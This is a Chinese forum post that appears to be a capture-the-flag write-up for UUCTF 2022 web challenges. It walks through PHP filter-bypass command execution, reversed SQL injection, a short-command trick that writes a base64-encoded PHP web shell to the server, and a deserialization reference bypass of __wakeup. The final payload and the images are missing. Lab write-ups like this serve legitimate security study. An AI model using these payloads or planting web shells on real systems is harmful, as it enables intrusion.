2022UUCTF--WEB

王柳  论坛元老 | 2022-11-3 23:24:23 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1021|帖子 1021|积分 3063

websign

无法右键 禁用js后 看源码

ez_rce -- 闭合

源码,禁用的东西挺多的 仔细发现 ?  `没有禁用,闭合标签反引号执行命令
  1. ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
  2. if(isset($_GET['code'])){
  3.     $code=$_GET['code'];
  4.     if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
  5.         echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
  6.         eval($code);
  7.     }
  8.     else{
  9.         die("你想干什么?????????");
  10.     }
  11. }
  12. else{
  13.     echo "居然都不输入参数,可恶!!!!!!!!!";
  14.     show_source(__FILE__);
  15. }
复制代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl输出

ezsql -- 输入反向

直接给出了查询语句

发现输入 11')--+ 显示的是 +--)'11  完全反过来了

首先使用万能密码试试

发现即使输入时正确的账号密码也不会回显flag
找列数  2列

这里过滤了or 双写绕过,查找表名和数据库名

查列名UUCTF

查内容

ezrce -- 6字符RCE

hint:这是一个命令执行接口
我知道咯这是六字符 起初我输入>nl 回显命令执行失败 我以为没有运行 所以没写
所以说不可以完全信回显
我们要先找到写文件写的目录 echo 一下,文件写在./tmp/

方法一
  1. >nl
  2. * /*>d
  3. 第一个:创建一个叫nl的文件
  4. * /*>d 意思就是 nl /*>f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数
复制代码

方法二

前置知识
  1. >a 在Linux会创建一个叫a的文件
  2. *>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
  3. *v>0 等价于 rev v >0 反转
  4. sh 0 将0文件的内容当作命令执行
  5. ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
  6. linux下换行执行命令:
  7. ech\
  8. o\
  9. 111
复制代码

跑脚本,写木马
  1. url="http://43.142.108.3:28933/post.php"
  2. print("[+]start attack!!!")
  3. with open("5字符RCE.txt", "r") as f:
  4.     for i in f:
  5.         data = {"cmd": f"{i.strip()}"}
  6.         requests.post(url=url,data=data)
  7. resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
  8. if resp.status_code == requests.codes.ok:
  9.     print("[*]Attack success!!!")
  10.    
  11. 5字符RCE.txt
  12. >dir
  13. >sl
  14. >ht-
  15. >f\>
  16. *>v
  17. >rev
  18. *v>0
  19. >hp
  20. >1.p\\
  21. >d\>\\
  22. >\ -\\
  23. >e64\\
  24. >bas\\
  25. >7\|\\
  26. >XSk\\
  27. >Fsx\\
  28. >dFV\\
  29. >kX0\\
  30. >bCg\\
  31. >XZh\\
  32. >AgZ\\
  33. >waH\\
  34. >PD9\\
  35. >o\ \\
  36. >ech\\
  37. sh 0
  38. sh f
复制代码

ez_unser -- 引用绕过wakeup

反序列化 审计代码
  1. class test{
  2.     public $a;
  3.     public $b;
  4.     public $c;
  5.     public function __construct(){
  6.         $this->a=1;
  7.         $this->b=2;
  8.         $this->c=3;
  9.     }
  10.     public function __wakeup(){
  11.         $this->a='';
  12.     }
  13.     public function __destruct(){
  14.         // 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方
  15.         // 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等
  16.         $this->b=$this->c;
  17.         // 终点
  18.         eval($this->a);
  19.     }
  20. }
  21. $a=$_GET['a'];
  22. // 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeup
  23. if(!preg_match('/test":3/i',$a)){
  24.     die("你输入的不正确!!!搞什么!!");
  25. }
  26. $bbb=unserialize($_GET['a']);
复制代码
构造POC
  1. class test{
  2.     public $a;
  3.     public $b;
  4.     public $c;
  5.     public function __construct(){
  6.         $this->a=&$this->b;
  7.         $this->b=2;
  8.         $this->c="system('ls');";
  9.     }
  10. }
  11. echo((serialize(new test())));
复制代码


最终的payload
[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王柳

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表